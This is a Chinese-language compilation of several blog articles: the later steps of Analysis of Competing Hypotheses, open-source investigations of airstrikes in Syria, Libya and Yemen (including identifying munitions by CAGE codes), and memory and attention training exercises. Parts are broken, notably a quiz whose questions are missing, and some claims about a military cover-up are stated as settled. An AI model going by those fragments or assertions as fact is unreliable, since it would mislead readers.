📌 对于每个假设，问自己这个问题 —— 如果这个假设是真的，我应该期望看到或看不到什么？有哪些事情一定发生过，或者可能还在发生，应该期望看到证据？如果没有看到这些证据，为什么没有？是因为它没有发生过吗？还是它不是通常可以观察到的，您被隐瞒了？还是因为您或情报收集人员没有寻找到证据？

既要注意没有证据，也要注意尚未找到的证据。例如，在权衡对手进行军事攻击的可能性时，对手没有采取的准备攻击部队的步骤可能比已经采取的可观察到的步骤更重要。想想福尔摩斯的故事，其中重要的线索是狗在夜里没有叫。📌 人们的注意力往往集中在报道的内容上，而不是没有被报道的内容上，这是重大失误。这就要求您有意识地去思考哪些东西是缺失的，但如果某个假设是真实的，那么这些东西应该是存在的。

步骤3 ——

「图」

✍ 准备一个矩阵，上面是假设，下面是证据。分析证据和论点的 “诊断性” —— 即 确定哪些项目最有助于判断备选假设的相对可能性。

步骤3也许是整个分析程序中最重要的内容。它也是与自然的、直觉的分析方法差别最大的步骤，因此，也是您最容易忽视或误解的步骤。

步骤3的程序是组织第1步的假设和第2步的证据和论据，将这些信息以矩阵的形式排列，假设横在上面，证据和论据放在下面。这样就可以对您分析问题的所有重要组成部分进行概述。

然后分析每个证据与每个假设的关系。这与通常的程序不同，通常的程序是一次只看一个假说，以便考虑证据对该假说的支持程度。这将在以后的步骤5中进行。而此时，在步骤3中，每次只取一项证据，然后考虑该证据与每个假说的一致性如何。

📌 这里要记住这个区别 —— 在步骤3中，您在矩阵的行中工作，每次检查一项证据，看看该证据与每个假说的一致性如何；在步骤5中，您在矩阵的列下工作，每次检查一个假说，看看该假说与所有证据的一致性如何。

填入矩阵时，取第一项证据，问其是否与每个假设一致、不一致或不相关。然后在矩阵中每个假设下的适当单元格中做相应的标记。矩阵中这些记号的形式全凭您个人喜欢，只要自己能看懂就行。可以是正号、负号和问号，也可以是C、I和N/A，代表一致、不一致或不适用，还可能是一些文字符号。不论如何，它都将是一种简化，是您在思考证据与每个假设的关系时进行的复杂推理的速记表示。

在对第一项证据做完这些工作后，再去做下一项证据，重复这个过程，直到填满矩阵中的所有单元格。

下图显示了这样一个矩阵的例子。它以1993年美国轰炸伊拉克情报总部后出现的情报问题为例 —— 问题是：伊拉克会不会报复？汇总表中的证据以及如何评价这些证据都是假设的，是为了提供一个可信的程序例子。

📌 再一次，重复我们的口头禅：做时政分析的知识分子非常有必要采取情报分析师的思维技巧，您将不会制造目前媒体评论栏目中那些混乱的胡说。

矩阵格式可以帮助您权衡每项证据的诊断性，这是竞争性假说分析与传统分析的关键区别。证据的诊断性是一个重要的概念，不幸的是，许多分析者对这个概念并不熟悉。

诊断性可以用一个医学类比来说明。一个高体温读数可能在告诉医生病人生病方面有很大的价值，但是，在判断一个人患的是哪种疾病方面价值相对较小。因为高体温与疾病的许多可能的假说一致，所以这个证据在确定哪种疾病（假说）更有可能的诊断方面，价值有限。

📌 当证据影响您对步骤1中确定的各种假说的相对可能性的判断时，它就具有诊断意义。如果一项证据似乎与所有的假说一致，它可能没有诊断价值。

一个常见的经验是：发现大多数支持您认为最有可能的假说的证据其实并没有什么帮助，因为同样的证据也与其他假说一致。当您确实确定了高度诊断性的项目时，这些项目应该推动您的判断。这些项目也是您应该重新检查准确性并考虑其他解释的项目，如下面步骤6中将讨论的。

在涉及上述伊拉克意图的假设矩阵中，请注意，指定为 “E1” 的证据被评估为与所有假设一致。换句话说，它没有诊断价值。这是因为美国没有相信萨达姆关于这个问题的公开声明。他可能会说他不报复，但又事实上会这样做，或者说他会报复，但又实际不会这样做。

另一方面，E4是诊断性的：如果伊拉克人计划进行报复，比不计划进行报复更有可能观察到伊拉克特工无线电广播的频率或时间增加。E6的双减表示这被认为是反对H1的一个非常有力的论据。这是一个关键性的假设，推动了赞成H2或H3的结论。

在某些情况下，可以通过使用一个数字概率N/%，而不是一般的符号（如加或减）来描述证据与每个假设的关系，以完善这个程序。要做到这一点，请对矩阵中的每个单元格提出以下问题 —— 如果这个假设是真的，我看到这个证据的概率是多少？您也可以在矩阵的每个单元格中做一个或多个额外的记号，例如：

- 加一个标度来显示每项证据的内在重要性；
- 增加一个标度，以显示证据项目被隐瞒、操纵或伪造的容易程度，或一方当事人可能有动机这样做的程度。当否认和欺骗的可能性是一个严重的问题时，这可能是适当的。

步骤4 ——

「图」

⚙ 完善矩阵。重新考虑假设，删除没有诊断价值的证据和论点。

假设的确切措辞显然对人们可以从分析中得出的结论至关重要。到这里，您就会看到每个假说下的证据是如何分解的，而且往往适合重新考虑和重新措辞假说。

是否有一些假设需要添加、或者需要进行更细微的区分，以便考虑所有重要的替代方案？如果很少或没有证据有助于区分两个假设，是否应该将它们合并为一个？

也要重新考虑证据。您的思考应该是：哪些假说最有可能和最不可能受到证据列表中未包括的因素的影响？如果是，把它们放进去。从矩阵中删除现在看来不重要或没有诊断价值的证据或假设项目。将这些项目保存在一个单独的列表中，作为所考虑的信息的记录。

步骤5 ——

「图」

🚧 对每个假设的相对可能性得出初步结论。请注意！要通过尝试反驳假设而不是证明假设来进行。

在步骤3中，您在矩阵中工作，专注于一项证据或论点，并检查它与每个假设的关系。现在，沿着矩阵往下看，将每个假设作为一个整体。矩阵格式给出了支持和反对所有假说的所有证据的概述，这样您就可以把所有的假说放在一起研究，让它们相互竞争，以获得您的青睐。

在评价备选假说的相对可能性时，首先要寻找能够使您拒绝假说的证据或逻辑推理，或至少确定假说的可能性不大。科学方法的一个基本原则是通过拒绝或消除假说来进行，同时只暂时接受那些无法反驳的假说。📌 科学方法显然不能全部应用于直觉判断，但寻求否定假说而不是证实假说的原则总是有用的。

无论有多少信息与某一假说相一致，您都不能证明该假说是真的，因为同样的信息也可能与一个或多个其他假说相一致。另一方面，与某一假说不一致的单项证据可能是拒绝该假说的充分理由。

人们有一种自然的倾向，即 专注于证实他们已经相信是真的假说，他们通常对支持假说的信息比对削弱假说的信息给予更多的重视。这是严重错误的，科学的分析应该反其道而行。

在检查矩阵时，看一下减号，或其他任何您用来表示可能与假说不一

致的证据的符号。减号最少的假说可能是最有可能的假说。减号最多的假说可能是最不可能的假说。一个假说与证据不一致的事实，当然是拒绝该假说的充分依据。而正数，表示与假说一致的证据，则远没有那么重要。

并不是说具有最多正号的假说就是最有可能的假说，因为几乎任何合理的假说都可以很容易地列出一长串与之一致的证据。

然而，这种最初的按减号排序只是一个粗略的排序，因为有些证据显然比其他证据更重要，不一致的程度不可能用一个加号或减号这样的记号来体现。通过重新考虑证据和假设之间关系的确切性质，您将能够判断给予它多少权重。

遵循这一程序的分析者往往会意识到，您的判断实际上是基于极少的因素，而不是基于您认为影响您观点的大量信息。

请注意，矩阵是帮您思考用的，它不应该对您的结论指手画脚。相反，它应该准确地反映您对重要因素的判断，以及这些重要因素与每个假设的概率之间的关系。您，而不是矩阵，必须做出决定。

矩阵只是作为思考和分析的辅助工具，以确保考虑证据和假设之间所有可能的相互关系，并确定那些真正能左右您对问题判断的少数项目。

当矩阵显示某项假说是可能的或不可能的时，您可能不同意。如果是这样，那是因为您在矩阵中遗漏了一个或多个对您的思维有重要影响的因素。回去把它们放进去，这样分析就能反映出您的最佳判断。

如果按照这个过程使您考虑了一些您可能会忽略的东西，或者使您修改了自己之前对假设的相对概率的估计，那么这个过程就达到了有用的目的。

当您完成后，矩阵可以作为您思维的速记，也可以作为审计线索，显示您是如何得出结论的。

📌 这个程序迫使您花更多的分析时间，而不是花更多的时间在您认为不太可能的假设上。这是可取的。看似不太可能的假设通常涉及到新的领域，因此，需要更多的工作。您一开始认为是最有可能的假说，往往是基于您自己过去思维的延续。分析相互竞争的假说的一个主要优点是，它迫使您对所有的备选方案给予更公平的考虑。

步骤6 ——

「图」

⚒ 分析您的结论对几项关键证据的敏感程度。考虑如果该证据是错误的、误导性的、或有不同的解释，将对您的分析的后果。

在步骤3中，您确定了最具诊断性的证据和论点，在步骤5中，您利用这些发现对假说做出了初步判断。现在，请回过头来质疑几个关键性的假设或证据项目 —— 这些假设或项目真正推动了您的分析结果向一个方向或另一个方向发展。您的理解和解释中是否有可疑的假设？是否有其他的解释或诠释？证据是否会不完整，从而产生误导性？问自己这些问题。

如果对否认和欺骗有任何担心，这里是考虑这种可能性的适当地方。去看看您的关键证据的来源。信息是否会被操纵？设身处地地站在欺骗策划者的立场上去思考，评估欺骗的动机、机会、手段、成本和收益。

当分析结果是错误的时候，往往是因为关键的假设没有受到质疑而被证明是无效的。📌 分析人员应该识别和质疑假设，但这说起来容易做起来难。问题是要确定哪些假设值得质疑。ACH程序的一个优点是，它会告诉您什么需要重新检查。

在步骤6中，您可能会决定需要额外的研究来检查关键的判断。例如，回过头来检查原始资料，而不是依赖别人的解释。在撰写分析报告时，您最好能确定用于解释的关键假设，并指出您的结论取决于这些假设的有效性。

步骤7 ——

「图」

⚒ 报告结论。讨论所有假设的相对可能性，而不仅仅是最有可能的假设。

如果您的报告要作为决策的依据，那么了解所有备选可能性的相对可能性将有助于决策者。分析性的判断从来都不是确定的。它们总是很有可能出错。决策者需要根据一整套替代的可能性来做决定，而不仅仅是单一的最有可能的选择。万一其中一个可能性较小的选择被证明是正确的，可能需要制定应急或后备计划。

如果您说某个假设很可能是真的，那就意味着未来事件将证明其正确的可能性从55%～85%不等。这就留下了15%到45%的错误可能性，即 基于您的判断所做的决定将基于错误的假设，结果就是错误的。您能更具体地说明您对自己的判断有多大信心吗？

📌 当人们认识到通过否定而不是确认假设来进行分析的重要性时，就会发现，任何对某一判断的书面论证都是不完整的，除非它还讨论了被考虑过的其他判断以及它们被拒绝的原因。

对替代性假设的讨论是任何情报评估的一个重要部分，可以而且应该找到方法将其包括在内。

步骤8 ——

「图」

🔭 确定未来观察的里程碑，这些里程碑可能表明事件的走向与预期不同。

分析性结论应始终被视为暂时的。情况可能会发生变化，也可能在您收到改变您的评估的新信息时保持不变。您需要事先明确说明应该寻找或警惕的事，如果观察到这些事出现，将表明概率发生了重大变化，这总是有帮助的。这对于持续关注局势的情报消费者来说非常有用。

📌 事先说明哪些事情会使您改变主意，也会使您更难在这种事态发展发生时将其合理化，下意识地合理化是思维缺陷导致的重大威胁。

最后

「图」

有三个关键因素将竞争性假设的分析与传统的直觉分析区分开：# 分析从一整套备选的可能性开始，而不是从分析者寻求确认的最可能的备选方案开始。这确保了所有备选假说得到平等的对待和公平的评价。

- 分析确定并强调少数几项证据或假设，这些证据或假设对判断备选假设的相对可能性具有最大的诊断价值。
- 对竞争性假说的分析包括寻求证据来反驳假说。📌 最可能的假说通常是反对它的证据最少的假说，而不是支持它的证据最多

的假说。传统的分析通常需要寻找证据来证实一个被赞成的假说，这会让您错得很惨。

1. 《欺骗不是撒谎这么简单：对峙的艺术（1）》

- 《伟大的自欺—战略性欺骗的心理维度（2）》
- 《想象力、创造力和较量—欺骗与反欺骗的互动（3）》
- 《偏执的保密—欺骗的主要方法之一（4）》
- 《让你看见—欺骗的积极方法之二（5）》
- 《反情报能力和思维模式 — 识别战略性欺骗的主要途径（6-上）》
- 《辟谣往往无效除非自我批驳 — 识别战略性欺骗的主要途径（6-下）》

下面是一个调查案例：调查美国在叙利亚的空袭。

剖析美国在叙利亚的空袭

「图」

到处都是灰色的尘土和扭曲的金属，在阿勒颇以西40公里的一个小镇 Kafr Deryan 被毁建筑的废墟下发现的年轻女孩几乎被埋葬在里面。

这些图片是指向当晚美国领导的联军在2014年9月23日凌晨发动的袭击造成平民伤亡的最有力证据之一。在这段视频的1分46秒处，通过反复慢动作观看视频，才能发现这个女孩的尸体。

这起事件发生在美国领导的叙利亚袭击行动的第一个晚上，被多个摄像头拍下，并分享到社交媒体上。

对这些内容的彻底审查，加上卫星图像分析和独立的叙利亚人权团体的报告，表明包括儿童在内的多名平民死亡。平民伤亡人数以及对民用物体的破坏，使人怀疑这次袭击是否相称。至少，附近有大量平民，以及记录在案的平民伤亡和损失表明，很可能没有采取必要的预防措施。

然而，尽管有越来越多的证据表明上述事实，但美国中央司令部 CENTCOM 的结论宣称：

公开资料图片显示，袭击中的伤亡人员实际上来自叙利亚政府的袭击。无需进一步调查。

大赦国际的研究表明，美国中央司令部对这一事件的调查不足。

评估日期和时间

「图」

叙利亚当地时间9月23日早上6点左右，第一批显示袭击后果的视频被上传到 YouTube 上。不要被一些视频上9月22日的发布日期所蒙蔽。使用 YouTube 数据查看器，可以提取准确时间，确定当地的发布时间。

以显示女孩在废墟下的视频为例，9月23日早上7点的发布时间与袭击事件的时间线完全吻合。9月22日的发布日期反映了叙利亚和美国太平洋时间之间的时差，YouTube 总部就设在这里，并将其作为官方发布日期。忽视这一事实很容易导致错误的研究结果，过去也曾发生过这样的情况。

美国武装部队也不甘落后，上传了当晚空袭的相关视频。海军在 YouTube 上传了两段显示夜间导弹发射的视频，发布于叙利亚当地时间9月23日中午12点31分。

分析人员没有发现任何与袭击相关的图片和视频在2014年9月23日之前在网上发布。一张被杀婴儿的照片曾与当地一个人权组织有关早前事件的报道一起发表。然而，该组织最初也记录了婴儿的死亡确实是由于美国联军9月23日对 Kafr Deryan 的袭击造成的。

精确定位

「图」

地理定位过程中的第一步是在地图上确定实际城镇的位置。虽然这可能听起来微不足道，但也可能是一个非常耗时和乏味的过程。

偏远地方的小城镇和村庄在谷歌地图上很难识别，特别是如果你搜索的是英文拼写的话。在这种情况下，MapAction 的 P-code Atlas of Syria 可以找到正确的位置。

一旦找到了大致的位置，就可以开始比较现场的多个视频和照片，以确定被摧毁和受损房屋的确切位置。

夜间和白天的视频中可见的小细节 —— 比如看起来很明显的门或碎

片 —— 可以用来将所有内容联系在一起，并建立一个视觉上的环境图。

几个地理特征，最明显的是尖塔，使用谷歌地球上免费提供的卫星图像以确认位置。随后，调查人员获得了9月30日，即袭击发生一周后的卫星图像，以确认袭击的位置。这张卫星图像清楚地显示，在似乎是 Kafr Deryan 的一个居民区，距离一座清真寺仅100米的地方，有多处被毁或受损的建筑物。

关键部分

「图」

美国中央司令部证实美军在该地区进行了攻击，但同时否定了有关平民伤亡的报道。美国海军公布了对一般地区的打击视频，显示了多枚导弹的发射，包括战斧导弹。这与此高度相关，因为该地区的图片和视频显示，大赦国际咨询的武器专家得出的结论是战斧导弹的残余物。至少，这提出了关于美军当晚袭击影响的严重问题，并有理由进行进一步调查。

【注：雷神公司的战斧巡航导弹是一种长程、全天候、具有短翼、以次音速巡航飞行的导弹，名字源自印第安战斧。1972年由通用动力公司开始研发，1983年推出服役。战斧巡航导弹设计上是一种中到远距离，低空飞行，并且以模组化设计，能够自陆地，船舰，空中与水面下发射。】

请注意，这不是一个孤立的事件。这是随后两年来一系列潜在的非法攻击事件中的第一起，美国领导的联军并没有对其进行充分调查。

大赦国际收集到了令人信服的证据，与2014年 ~ 2016年美国联军发动的11次具体袭击有关，据信约有**300**名平民在这些袭击中丧生，其中包括违反国际人道主义法律的袭击。而美国方面只承认了“一起”平民死亡。

对冲突期间可能发生的侵权行为和平民伤亡进行彻底和有意义的调查，是确保尊重国际人道主义法的义务的一个基本要素。一方如果不通过有效和透明的调查认真对待此类事件，就无法履行其义务，并不必要地危及平民生命财产。竞争性假说分析将拆穿美国中央司令部掩盖平民死亡的谎言。〇

Dissecting a US Airstrike in Syria

—— 未完待续 ——

原文

如何调查武器和军事暴行：思考方式（6） - iyouport

思考方式

【2021年3月26日存档】在实地进行调查的公民人权捍卫者应该知道收集什么样的证据以帮助权利组织进行取证

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《如何通过视频创建全景图以进行地理定位追踪和真伪验证：给公民调查人员的思考方式（1）》
- 《针对催泪瓦斯袭击抗议者及其他侵犯人权行为的调查框架：给公民调查人员的思考方式（2）》
- 《在哪里获得卫星图像？以及一个调查案例：思考方式（3）》
- 《在数字研究中，事物并不总是像看起来那样：思考方式（4）》
- 《躲避思维陷阱，竞争性假设分析法：思考方式（5）》

2019年4月，利比亚国民军指挥官哈利法·哈夫塔尔（Khalifa Haftar）元帅率领的军队开始了攻占利比亚西部的战役。 联合国支持的民族和睦政府（GNA）和利比亚国民军（LNA）一样不分青红皂白地将平民及其家园作为攻击目标。在利比亚国民军袭击的黎波里之后的三个月里，一场毁灭性的人权危机已经展开，包括100多名平民死亡和10多万人流离失所。

在这种两极分化的冲突中，对事实的调查位于问责制和正义的中心。

首先，调查人员收集了与爆炸或空袭有关的社交媒体帖子。然后利用卫星图像对每个帖子进行地理定位。准确的坐标为研究人员绘制了一张地图，供他们在实地进一步调查，以弄清到底是谁被杀，如何被杀，以及哪个武装团体可能对每次袭击负责。

在那些没有被严重轰炸的地方，归因对于追责至关重要，开源情报研

究是实地研究的强大指导工具。这就是发生在利比亚的情况 —— 将开源证据与第一手材料、及目击者证词相结合，使调查更加有力。

报道显示，2019年5月14日，GNA的一次袭击击中了 Qasr Bin Ghashir 人口密集区的一栋三层楼，导致5人死亡，超过12人受伤。研究人员就有了确切的坐标：32.688333, 13.176474。有了这些信息，研究人员就可以前往现场，收集弹药碎片，采访证人，并收集地面图像。

所有收集到的视频和图像都提供了GNA对平民区使用火炮的有力证据，这是违反国际人道法的行为。

在另一个事件中，2019年6月6日，据报道，al-Swani居民区的一家野战医院遭到了据信是由黎巴嫩国民军实施的空袭。据报道，在al-Swani居民区附近有多名医生和医务人员受伤。

研究人员能够确定据报空袭地区的地理位置，但这还不足以说明谁是幕后主使。

根据开源情报确认的坐标，现场的研究人员从一个弹坑中找到了炸弹碎片，该弹坑就在一栋临时的战地医疗支援中心旁边。这是一枚法国SAMP公司生产的 250公斤炸弹，据悉是利比亚国民军使用的。

就此将所有公开资料存档，以便进一步调查。

数字核查工具越来越快，越来越准确，调查人员也需要适应这个快节奏。这种数字取证和实地调查的结合，让人权捍卫者在当前的错误信息时代也能记录和澄清侵犯人权行为的可靠证据。

在这一交叉点上，人权捍卫者能够可靠地确定谁是袭击的幕后主使、和使用的武器类型，这是追究责任的关键一步。

下面是另一个案例。

也门的军械鉴定

「图」

2019年6月28日，一枚飞机炸弹击中也门西南部塔伊兹附近 Warzan 村一户人家。引爆炸毁了房屋的正面，导致屋内6名平民死亡，其中包括3名儿童，年龄分别为12岁、9岁和6岁。15分钟后，第二次空袭再次击中了该建筑 —— 飞行员返回以确保房屋被彻底摧毁。

当这家人的其他幸存者回到现场时，他们发现了弹药碎片。但这些碎片已经被严重刮伤和损坏，大部分识别标志已被破坏。

尽管如此，调查人员依旧能够确定轰炸所使用的具体弹药，而且能够确定制造商。他们是怎么做到的？

当试图研究袭击中使用的武器时，调查人员通常不会从头开始，而是从资源库开始 —— 考虑有史以来制造的所有类型的弹药。

自从第一次世界大战后发明了现代炸药和引信系统以来，全世界已经生产了数千种型号的弹药，对于任何一个研究者来说，这是一本让人目不暇接的百科全书。每场冲突中都会出现某些弹药 —— 无论是本地制造的、进口的，还是非法转用的，交战各方都会经常使用。美国军方将其称为 “ordnance order of battle”。你可以称它们为 “普通嫌疑人”（The Usual Suspects 1995年的那部电影）。

调查人员已经确定了沙特和阿联酋领导的联盟在也门使用激光制导炸弹的明显趋势。Warzan村的袭击中发现的一块碎片由一个带有橙色条纹的灰色鳍组成，这是 **Paveway II** 式激光导引**500**磅炸弹的一个明显的部分，通常在引爆后能保存下来。但为了确认这一点，通常要参考武器侧面的文字。在这枚武器的碎片上，没有多少可辨认的数字和字母，于是不得不根据调查人员对也门使用的军械已有的了解，反向推理。

这些 Paveway II，也称为 GBU-12，由两家不同的美国制造商制造，即洛克希德-马丁公司和雷神公司。所有美国政府承包商都是由他们的商业和政府实体（**CAGE**）代码来识别的：洛克希德-马丁公司的代码是 **94271**，雷神公司的代码是 **96214**。

值得注意的是，这两家承包商都在他们生产的 Paveway II 上印有CAGE代码。Warzan碎片的底部有一些可读的文字：一个 “9”，然后是一个不可读的数字，然后是 “21”，或者是 “27”？很难确定，除非将其与其他碎片进行比较。

这里，在照片和视频截图中，是另外两枚GBU-12翅片，来自也门的其他袭击：

在这里可以清楚地看到雷神公司和洛克希德马丁公司的CAGE代码。不过请注意，每个公司都使用不同的**ASSY**或装配号来识别相同的特定部件。雷神公司使用的**ASSY**是 **837760–4**，洛克希德马丁公司使用的是 **147214**。

再将这些零件与最近在 Warzan村袭击中产生的碎片进行比较，可以看到 “37760” 出现在正确的位置。因此能够得出结论，这不仅是GBU-12，而且是雷神公司制造的。

📌 在人权背景下进行武器调查时，目标是追究一个国家或武装团体的侵权责任。在本案例中，通过查明GBU-12的制造商，调查人员可以提供更多的证据，证明只要存在美制武器被用于战争罪和其他严重侵权行为，美国就需要停止向沙特和阿联酋出售美制武器，这是人权组织的一项重要呼吁。

对于实地调查的公民人权捍卫者来说，您应该知道该收集什么样的证据，以帮助权利组织进行取证。〇

The Usual Suspects: Case Study of Ordnance Identification in Yemen

原文

手表上故事：通过练习和游戏塑造超强记忆力的方法（1） - iYouPort

超强记忆力（完成）

在每天晚上关机之前，您能记住多少这一天内看过的内容？昨天看过的内容呢？前天呢？……

「图」

「图」

- 您的浏览器书签是否已经膨胀到了要爆炸的程度？那些链接中有点少您再次使用过？
- 手机彻底没电后您是否无法拨打任何朋友的电话以寻求帮助？因为您一直在使用通讯录帮您记住那些电话号码？
- 学习外语背不出单词，下次看到还是不认识？
- 怀疑信息是虚假的却想不起使用哪些工具来验证它？
- 每天都在辛苦地阅读文章，但关机后似乎什么印象都没有？
- 你看到了跟踪者的脸，在下一次你还能立即认出他吗？
- ……

互联网的所谓便利性和易搜索功能也许很好，但它毁掉了很多人的天然记忆能力，而记忆，是您完成绝大多数重要任务都必需的基本功。

互联网和应用程序提供了强大的可搜索性，也许有些人会就觉得自己不需要记住任何东西，需要的时候上网搜就行了。不，绝不是这样。

不论是对公民调查人员来说、还是基本的反侦查、反跟踪需求，或者学习新知识的能力，您都需要记忆力作为基础。

想象这样场景。您发现一辆汽车正跟在你后面，你记得曾经在哪里见过这辆汽车吗？它的车牌、外观、细节特征？如果你记得，就能迅速判断它是否危险，并在第一时间采取应对策略。

对于人类跟踪者来说也是如此，如果你能做到过目不忘，就能用眼识

破很多伪装。

对于信息的真伪验证来说，记忆力也是格外优秀的能力：你曾经在哪里见过这张照片/视频？当时的发布者对它的描述是什么？不需要任何搜索就可以识别造假 —— 对于在那些难以搜索的地方出现的信息尤其有效，比如加密通讯群组。

或者你曾经见过类似的表述模式？当你再次看到它时你会立即反应过来，发布者可能是僵尸网络的一部分，或者是某个袜子木偶账户被你识破了。您可以顺着这条线索继续挖掘其幕后的操纵者。

当我们说到公民调查、信息验证、反侦查反监视、反社交工程攻击等等技巧时，大多数人首先会询问“我需要哪些技术工具”？这是个误解。

虽然，没错，自动化工具能在很大程度上提高效率，但是，它们毕竟不是人脑，它们中多数只会让你错过真正的线索 —— 因为它们有可能误解你的需求（功能受限是一方面、您采取的操作模式是另一个原因）。

事实上，在完善上述技巧的过程中，您的大脑才是最重要的“工具”。

这就是为什么我们在上一篇“侦探挑战”文章中介绍的关于公民调查人员需要具有3项最基本的优势中，将大脑的能力放在了第一位。您可以在这里回顾《侦探挑战时间：让井盖和自行车说话》。

本系列文章将通过一些小游戏和讲解，帮助您训练“过目不忘”的能力。

尤其是对已经成为间谍目标的敏感人员来说，记忆力是您应有的最强大的防身武器 —— 其他任何形式的记录对您来说可能都不是安全的。

用自己的大脑保存和复制海量信息的能力，不仅是一种天赋，也完全可以通过后天练习获得。

尤其是，当您擅长记忆时，您就会发现自己更加擅长思考了；就好像一大堆乐高积木摆在眼前，您可以直观地意识到可以使用它们来制作什么。而不是脑子里一片空白，只能先去寻找所有积木块。

当然，如您所知，我们侧重于帮助社会构建公民掌握真相的能力，于是本系列文章的侧重点是公民调查人员和安全防御需求。但是您应该

了解，记忆力在几乎任何工作和生活目的中都是强大的基础优势。

准备好释放您大脑的全部能量！

「图」

「图」

本系列将从最简单的步骤开始，之后逐渐加强难度。其中包含两种练习模式：一种是互动型的，您最好能在阅读工程中跟着做，重复几次更有效，确保您真的学会；

第二种是随机的练习，也就是说您不需要重新阅读文章也可以随时进行的练习。比如在排队等候的时间里、度假中、或者在上班路上（把那些花费在无聊小视频上的时间用到提升自己的有意义的活动上）。

即便您在第一次尝试时无法完成任务，也不用担心；大脑就像肌肉一样，只要持续锻炼它，您很快就能看到进步。

关于记忆能力

大多数人没能充分利用自己的记忆能力，甚至很少有人知道人的记忆力可以有多强。

举几个例子。俄罗斯画家 Nikolai Ge 只需要一次实地访问就可以细致地画出夏宫某个客房中全套巴洛克风格的内饰。

莫扎特只需要听上一遍，就可以把复杂的乐谱全部写下来。罗马教廷曾经一度将 Gregorio Allegri 所作的《求主垂怜》的乐谱奉为秘密，直到莫扎特听过一遍后复制了它，才得以向大众传播。那时候莫扎特只有14岁。

丘吉尔对莎士比亚的所有作品都能熟记，他用这些素材来练习演讲。

1960年，匈牙利象棋手 Janos Flash 在不看任何一盘棋的情况下，同时进行52场比赛。这些比赛持续了超过13个小时，而他记住了52个棋盘上的所有着数。

当然，并非只有那些名人拥有超强的记忆力。在一次实验中，研究人员向普通参与者展示了一万张幻灯片，随后测试他们能记住多少内容。结果发现，人们对图像辨认的准确率为80%、对于色彩比较丰富的清晰的图像准确率高达100%。

因此能够看出：

1、人类记忆的主要问题不在于记忆信息本身，而是在需要的时候从大脑中重新调用和重现这些信息。每个人都能具备绝佳的记忆力潜能，要想开发它，需要一系列技巧。

2、大脑非常擅长记忆图像，因此大多数记忆信息的技巧都是以想象力为基础的，将抽象的语言和数字信息转化为图像。

⚠快速自我测试 —— 不要回头看：

莫扎特曝光《求主怜悯》乐谱的时候是几岁？#9岁

- 10岁
- 13岁
- 14岁

1. 5项

- 4项
- 3项
- 2项

1. 您所居住的那条街上有几个面包房？它们的招牌各自是什么颜色的？

- 您上次通过互联网联络的人的头像是什么？

1. 无政府主义者

- 共产党
- 社会党
- 正义党

1. 摩洛哥的拉巴特

- 瑞典斯德哥尔摩
- 英国伦敦
- 法国巴黎

您的那块手表还好吗？

这里是记忆力训练的第一部分内容。很简单是吧。请准备好，接下来的内容将逐渐增加难度，但请放心，您一定可以完成全套训练。加油哦。〇

——未完待续 ——

广告

原文

操控注意力的小技巧：塑造超强记忆的方法（2）- iYouPort

超强记忆力（完成）

如果你能控制对手的注意力，你就能操纵他们为你所用

「图」

「图」

还记得第一部分内容吗？您可以在这里回顾：《手表上故事：通过练习和游戏塑造超强记忆力的方法（1）》。

今天继续这一话题 —— 注意其中包含的测试题目哦！您在上一次已经感受到啦，所以，您需要仔细阅读 □

上一次我们提到专注力，它是记忆力的关键；正因此既是侦察的关键、也是反侦察的关键。

一般人能记住的对象（比如词语、数字、项目或想法）的数量在大约5～9之间，这是注意力的一个主要特点。

要想超过这个数字似乎很难，但也有一些方法可以突破极限 —— 你要做的就是对记忆对象进行分组。

以数字为例，比如电话号码，中国的手机号码有11位数字，是全球最长的手机号码。前3位是网络识别号、4–7位是地区编码 (HLR归属位置寄存器)、8–11位是用户号码(随机分配)。这就可以把它分为3条记忆信息，就是这么简单。

很多时候为了你的需求，大脑在自动寻找拆分记忆信息的方法；但如果你知道拆分的意义，就如电话号码这样，印象就会更深刻。

这无需多说，背诵外文单词的人都明白这个道理 —— 先记住词根。学中文也是一样，汉字是象形的，它的偏旁部首与它的含义有关，如

果你能知道这个字是怎么来的，就不会再写错字。

所以你发现了，这一切的根本在于你对注意力的控制能力 —— 如果能掌握自己的注意力，你就能调试自己的记忆和反应速度；相反，如果你能控制对手的注意力，你就能操纵他们以满足你的目的。

⚠注意力不是发呆，不是旁若无人，这里的关键字是：掌握，也就是由你来控制它。

所以练习 “掌握” 的关键在于，让它动起来 —— 在你的控制下自如地移动，也就是转换注意力。

“提高” 注意力并不是最重要的，重要的是转换。

「图」

「图」

对注意力的练习

同时执行两项任务可以提高转换注意力的能力。

比如同时阅读两本书，一本读完一段后，换成另一本再读一段，如此反复进行。或者在听广播的时候每隔几秒钟切换一次频道，同时收听两个新闻节目，再或者同时观看两个电视节目。

当你这样尝试的时候请试着通过上下文再现缺失的信息。

慢慢你就会发现，两本书/两个电视节目你都能理解其意思。也就是说，🌤不论在哪一边停留哪怕再短的时间，你都能控制注意力在那个位置上，尤其是可以自如地转移它到一个新的位置，并保持强度不变。

但是不要沉迷！同时执行多项任务虽然对训练注意力很有帮助，但它不是同时成功完成大量任务的有效方法。

转移注意力练习是为应对现实中的复杂环境。

你练习过散打吗？当一人对多人比赛时，那一人必须能以最快速度控制并转移自己的注意力，因为威胁来自多个不同的位置，对每一个位置都需要全力以赴地应对，并且更重要的是，需要灵活自如地转移注意力到新的位置上。

在这种情况下要求注意力“集中”在一点上，不仅没有帮助，甚至会让你送命。

互联网就类似于散打的环境 —— 你需要应对几乎同时来自不同方向的信息轰炸，如果胡乱应对它们，最终你什么都记不住，连续阅读一整天几乎一无所获。

💡相反，如果你能做到自如地转移注意力，就能在其中迅速发现对自己最有价值的内容，并捕获它们。

我们已经在 telegram 频道中上传过两次游击战相关的技巧内容。游击队成员最关键的技能之一就是敏锐自如的注意力转换，你需要比你的对手更快，才能抢先获胜。

舒尔特表训练法（5×5）

舒尔特表有助于加速心理感知能力的发展，包括你的周边视觉和注意力、自我控制力、以及聚焦能力 —— 这几点是关键。

下面是一个 5×5 的表格，每个单元格中随机填写了 1 ~ 25 之间的任意数字。你的任务是以最快的速度按顺序指出每个数字的位置。

这里面其实是有技巧的。不要将目光从一个单元格移动到下一个，那样会非常慢，也不要大声读出来、不要在心里默念这些数字。

将你的视线固定在表格的正中央，使用你的 **周边视觉** 来搜索数字。

人只有两只眼睛，而且全长在脑袋前面，物理角度上看它似乎无法兼顾四面八方？其实不然。因为你可以训练出更强的周边视觉，尤其是在现实中反侦察行动中，周边视觉能帮你快速反应以识别威胁。

- 在这里回顾《在你的日常生活中应用隐蔽野战技术：简单方式抵御敌对监视》

